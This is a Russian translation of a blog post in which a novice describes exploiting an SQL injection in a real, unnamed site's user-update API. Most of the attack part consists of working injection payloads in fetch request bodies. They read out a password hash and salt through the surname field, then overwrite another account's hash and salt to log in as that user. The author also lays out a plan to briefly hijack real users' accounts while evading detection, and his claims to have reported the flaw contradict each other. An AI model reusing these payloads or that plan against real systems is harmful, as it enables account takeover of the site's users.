Недавно я нашёл интересную уязвимость, позволяющую установить любому пользователю конкретного сайта любой пароль. Круто, да?
Это было забавно, и я подумал, что можно написать интересную статью.
На неё вы и наткнулись.
Примечание: автор переведённой статьи не специалист по информационной безопасности, и это его первый экскурс в мир SQL-инъекций. Он просит быть «снисходительными к его наивности».
Предупреждение: автор переведённой статьи не станет раскрывать сайт с этой уязвимостью. Не потому, что он сообщил о ней владельцу и связан узами молчания, а потому что хочет приберечь уязвимость для себя. Если вы вычислите этот сайт, пожалуйста, держите рот на замке (цыц).
Знаете, вот так иногда открываешь какой-нибудь сайт в инструментарии для разработчика, исследуешь без какой-либо цели минифицированный код и сетевые запросы. И вдруг замечаешь, что-то здесь не так. Совсем не так. Вот и я занимался подобным со страницей пользовательского профиля на одном из сайтов и подметил, что, когда включаешь и выключаешь уведомления о получении, страница шлёт сетевой запрос:
/api/users?email=no
И я подумал: интересно, не допустили ли они какую-нибудь глупость? Может быть, мне попробовать SQL-инъекцию?
Я поискал в сети по запросу “xkcd little bobby tables”, чтобы освежить в памяти, как делать SQL-инъекции — мне они не нравятся, — и принялся за работу.
В сетевой вкладке Chrome я скопировал запрос (Copy > Copy as fetch) и вставил результат во фрагмент, чтобы можно было воспроизвести запрос:
fetch('https://blah.com/api/users', {
credentials: 'include',
headers: {
authorization: 'Bearer blah',
'content-type': 'application/x-www-form-urlencoded',
'sec-fetch-mode': 'cors',
'x-csrf-token': 'blah',
},
referrer: 'https://blah.com/blah',
referrerPolicy: 'no-referrer-when-downgrade',
body: 'email=no', // < -- The bit we're interested in
method: 'POST',
mode: 'cors',
});
Вся остальная статья посвящена возне со строкой body
— она является транспортом для отправки инструкций серверу.
Сначала я попытался изменить свою фамилию, задав значение в колонке lastName
, ориентируясь просто на её название:
{
// ...
body: `email=no', lastName='testing`
}
Ничего интересного не произошло. Затем я проделал то же самое с last_name
, потом попытал счастья с surname
— и опа! — страница заменила мою фамилию на “testing”.
Это было очень захватывающе. Я всегда считал SQL-инъекции чем-то вроде книжной легенды. Тем, что на самом деле не открывает миру код, который вставляет вводимые пользователем данные прямо в SQL-выражения.
Для всех непосвящённых объясню, что означает обнаруженный мной результат.
Я считаю, что на сервере происходит нечто подобное:
const userId = someSessionStore.userId;
const email = request.body.email;
const sql = `UPDATE users SET email = '${email}' WHERE id = '${userId}'`;
Уверен, что их сервер написан на PHP, но я не владею этим языком, так что буду писать примеры на JavaScript. Кроме того, я не особо-то разбираюсь в SQL-запросах. Понятия не имею, называется ли таблица user
, или users
, или user_table
, да это и не важно.
Если мой пользовательский ID 1234, и я отправляю email=no, тогда SQL получается таким:
UPDATE users SET email = 'no' WHERE id = '1234'
А если заменить no
на строку no', surname = 'testing
, тогда SQL будет валидным, но хитрым:
UPDATE users SET email = 'no', surname = 'testing' WHERE id = '1234'
Как вы помните, я отправляю запросы из фрагмента кода в инструментах для разработчика, при этом нахожусь на странице профиля. Так что с этого момента можно считать поле surname на этой странице (HTML-элемент <inрut>) маленьким stdout, в который можно записывать информацию, задавая для моего пользовательского аккаунта значение в колонке surname
в базе данных.
Затем мне стало интересно, удастся ли скопировать данные из другой колонки в колонку surname
?
Я не понимал, что делать, как быть с SQL, да к тому же не знал, какая БД используется на сервере. Так что после каждого шага я тратил минут по 20 на поиски в сети, а потом ещё 20 минут чесал в затылке, потому что регулярно вставлял свои кавычки ' не туда, куда нужно. Странно, что я не порушил всю базу данных.
Копировать данные из одной колонки в другую оказалось чуть сложнее, потому что я хотел отправить такой запрос (предполагалось, что должна быть колонка password
):
UPDATE users SET email = 'no', surname = password WHERE id = '1234'
Обратите внимание, что в коде вокруг password
нет кавычек. Как вы помните, суперсовременный конструктор запросов должен выглядеть так…
const sql = `UPDATE users SET email = '${email}' WHERE id = '${userId}'`;
… то есть при попытке передать no', surname = password
получившаяся строка не будет валидным SQL-запросом. Вместо этого мне нужно было, чтобы инъектируемая строка целиком стала второй частью запроса, а всё, что идёт после неё, игнорировалось бы. В частности, мне нужно было передать WHERE
и; в конце SQL-выражения, а также комментарий #
, чтобы информация справа от него игнорировалась. Да, я ужасно объясняю.
Короче, я отправил новую строку:
{
// ...
body: `email=no', surname = password WHERE username = 'me@email.com'; #`
}
А в базу данных будет отправлена такая строка:
UPDATE users SET email = 'no', surname = password WHERE username = 'me@email.com';
# WHERE id = '1234'
Обратите внимание, что БД проигнорирует WHERE id = '1234'
, поскольку эта часть идёт после комментария # (кажется, запрет на комментирование в SQL-запросах является хорошим способом защиты от неряшливого кода).
Я надеялся, что мой пароль P@ssword1 появится в текстовом виде в поле фамилии, но вместо этого я получил 00fcdde26dd77af7858a52e3913e6f3330a32b31.
Меня это разочаровало, хотя и не удивило, и я продолжил попытки скопировать хэш моего пароля в колонку пароля другого пользователя.
Поясню для новичков: когда где-то создаёшь аккаунт и отправляешь новый пароль P@ssword1, он превращается в хэш наподобие 00fcdde26dd77af7858a52e3913e6f3330a32b31 и сохраняется в базе данных. Глядя на этот хэш, никто не сможет определить ваш пароль (или так рассказывают).
Когда ты в следующий раз вы будете логиниться и вводить пароль Password@1, сервер его снова хэширует и сравнит с хэшем, который хранится в базе данных. Так он подтвердит соответствие, даже не сохраняя вашпароль.
Это означает, что если я хочу задать кому-нибудь пароль P@ssword1, я должен задать в колонке password у этого пользователя значение 00fcdde26dd77af7858a52e3913e6f3330a32b31.
Легкотня.
Я открыл другой браузер, создал нового пользователя с другой почтой и в первую очередь проверил, могу ли задать ему данные. Обновил ему свойство body
:
{
// ...
body: `email=no', surname = 'WOOT!!' WHERE username = 'user-two@email.com'; #`
}
Выполнил код, обновил страницу этого пользователя, и, офигеть, сработало! Теперь у него была фамилия “WOOT!!” (девичья фамилия моей бабушки).
Затем я попробовал задать этому пользователю пароль:
// ...
body: `email=no', password = '00fcdde26dd77af7858a52e3913e6f3330a32b31' WHERE username = 'user-two@email.com'; #`
}
И знаете, что?!?!?
Не сработало. Теперь у меня не было доступа ко второму аккаунту.
Оказалось, я допустил две ошибки, на вычисление которых ушло несколько часов. Специалисты по инфобезопасности, читающие эту статью, уже поняли, о чём речь, и, вероятно, ржут над дураком, который пишет свои «эксплойты», перечисленные на первой странице «Хакинг для самых маленьких».
Нуууууу, в конце концов я поискал в сети по запросу “password hash” и заметил, что многие хэши длиннее моего 00fcdde26dd77af7858a52e3913e6f3330a32b31. Похоже, он где-то обрезается.
Я попытался вписать кусок текста в поле surname, и обнаружил лимит в 40 символов (хорошо, что они задали атрибут maxlength для <inрut>, чтобы соответствовало ограничению в базе данных).
Теперь меня интересовали только первые 40 символов хэша, который мог быть гораздо длиннее. Поискал по запросу “sql substring”, и вскоре отправил на сервер такой запрос:
{
// ...
body: `email=no', surname = SUBSTRING(password, 30, 1000) WHERE username = 'me@email.com'; #`
}
Начал с 30, чтобы убедиться, что первые 10 символов перекрываются последними 10 символами 00fcdde26dd77af7858a52e3913e6f3330a32b31. Или последними 9. Или 11.
Вернёмся к реалиям: символы перекрывались, и объединив строки, я получил хэш из 64 символов. Снова попробовал скопировать его во второго пользователя:
{
// ...
body: `email=no', password = '00fcdde26dd77af7858a52e3913e6f3330a32b3121a61bce915cc6145fc44453' WHERE username = 'user-two@email.com'; #`
}
И знаете, что?!?!
Ну, вы уже догадались, ведь я упомянул про две ошибки.
Я по-прежнему не мог залогиниться во второй аккаунт, но уже был близок к этому (хорошо бы мне знать об этом в тот момент).
Поискал по запросу “best practices database password” и узнал/вспомнил о такой штуке, как «соль».
Применение соли означает, что если ты создаёшь хэш для P@ssword1 для одного пользователя, то для другого пользователя тот же пароль даст другой хэш (используется другая соль). Конечно же, один хэш пароля не будет работать для двух пользователей, соли-то разные.
Вроде бы умно, но в то же время глупо. Во всех примерах в таблице просто была ещё одна колонка под названием salt. Разве это не означает, что мне нужно скопировать данные из двух колонок, а не одной? Разве это не выглядит как второй замок, к которому подходит тот же ключ?
Я изменил запрос в надежде скопировать значение из колонки, которая может называться salt,
в колонку surname:
{
// ...
body: `email=no', surname = salt WHERE username = 'myemail@email.com'; #`
}
В поле фамилии оказался беспорядочный набор символов, хороший знак. Для получения того, что оказалось 64-символьной солью, я снова использовал SUBSTRING.
Всё было готово. У меня есть хэш пароля и соль, которая использовалась для его создания, нужно только скопировать их в другого пользователя. И я отправил свой последний в тот вечер сетевой запрос:
fetch('https://blah.com/api/users', {
credentials: 'include',
headers: {
authorization: 'Bearer blah',
'content-type': 'application/x-www-form-urlencoded',
'sec-fetch-mode': 'cors',
'x-csrf-token': 'blah',
},
referrer: 'https://blah.com/blah',
referrerPolicy: 'no-referrer-when-downgrade',
body: `email=no', password = '00fcdde26dd77af7858a52e3913e6f3330a32b3121a61bce915cc6145fc44453', salt = '8b7df143d91c716ecfa5fc1730022f6b421b05cedee8fd52b1fc65a96030ad52' WHERE username = 'user-two@gmail.com'; #`,
method: 'POST',
mode: 'cors',
});
Сработало! Теперь я мог залогиниться во второй аккаунт с паролем от первого аккаунта.
Разве это не безумие?
* * *
Было много проб и ошибок, но когда я выберу настоящего пользователя, я сначала получу его соль и хэш и сохраню у себя. Затем заменю его подсоленный хэш на свой, как описано в статье, залогинюсь и моментально заменю соль и хэш на оригинальные значения. Мне нужно лишь на долю секунды изменить чужой пароль, пока я логинюсь, так что меня почти наверняка не обнаружат.
В теории, конечно. Я бы никогда так не сделал.
* * *
Возможно, вам интересно узнать, не выдуманная ли это история. Не выдуманная. Я изменил несколько мелких подробностей, чтобы защититься от обвинений, но всё остальное было так, как описано. И, конечно же, на самом деле я сообщил об уязвимости владельцам сайта.
Но я не могу не спрашивать себя, было ли это всего лишь удачей новичка. Это в буквальном смысле первый сайт, на котором я попробовал SQL-инъекцию, и всё было словно приготовлено для меня, словно я сдавал экзамен по хакингу для малышей.
Описанный мной сайт невелик, у него мало пользователей (34 718). Это платный сервис, так что для матёрых хакеров он не представляет интереса. И всё же меня поразило, что такое возможно.
Короче, теперь я подсел на всю эту тему с информационной безопасностью. Для меня в ней объединились два любимых занятия: написание кода и хулиганство. Так что погуглив “information security salaries Australia”, думаю, я нашёл себе новую работу.
Спасибо, что прочитали!
PS: перевод статьи старается максимально сохранить стилистику автора :)
Автор: barsoo4ok